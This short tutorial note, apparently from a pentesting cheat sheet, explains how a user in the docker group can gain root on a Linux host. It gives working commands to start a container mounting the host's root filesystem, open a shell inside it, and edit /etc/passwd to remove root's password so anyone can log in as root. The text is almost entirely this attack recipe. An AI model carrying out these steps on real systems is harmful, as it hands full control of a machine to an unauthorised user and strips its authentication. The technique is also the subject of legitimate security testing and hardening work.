Linux PRIV ESC USING DOCKER

If a low priv user have priv to a docker grp then it may be possible to get root access.

1. create a docker container and mount the root directory of host machine with docker container?

docker run -dit -v /:/opt --name linux ubuntu

-v --> for attach volume

linux --> name of conatiner

ubuntu --> image file name

2. when you log in to docker container the you have the access of / directory of host machine.

?docker exec -it linux /bin/bash

3. Now, you have to edit /etc/passwd file and remove the passwd symbol from root user's entry.

root:remove_the entry:0:0:root:/root:/bin/bash

Now, you can login as root without the passwd.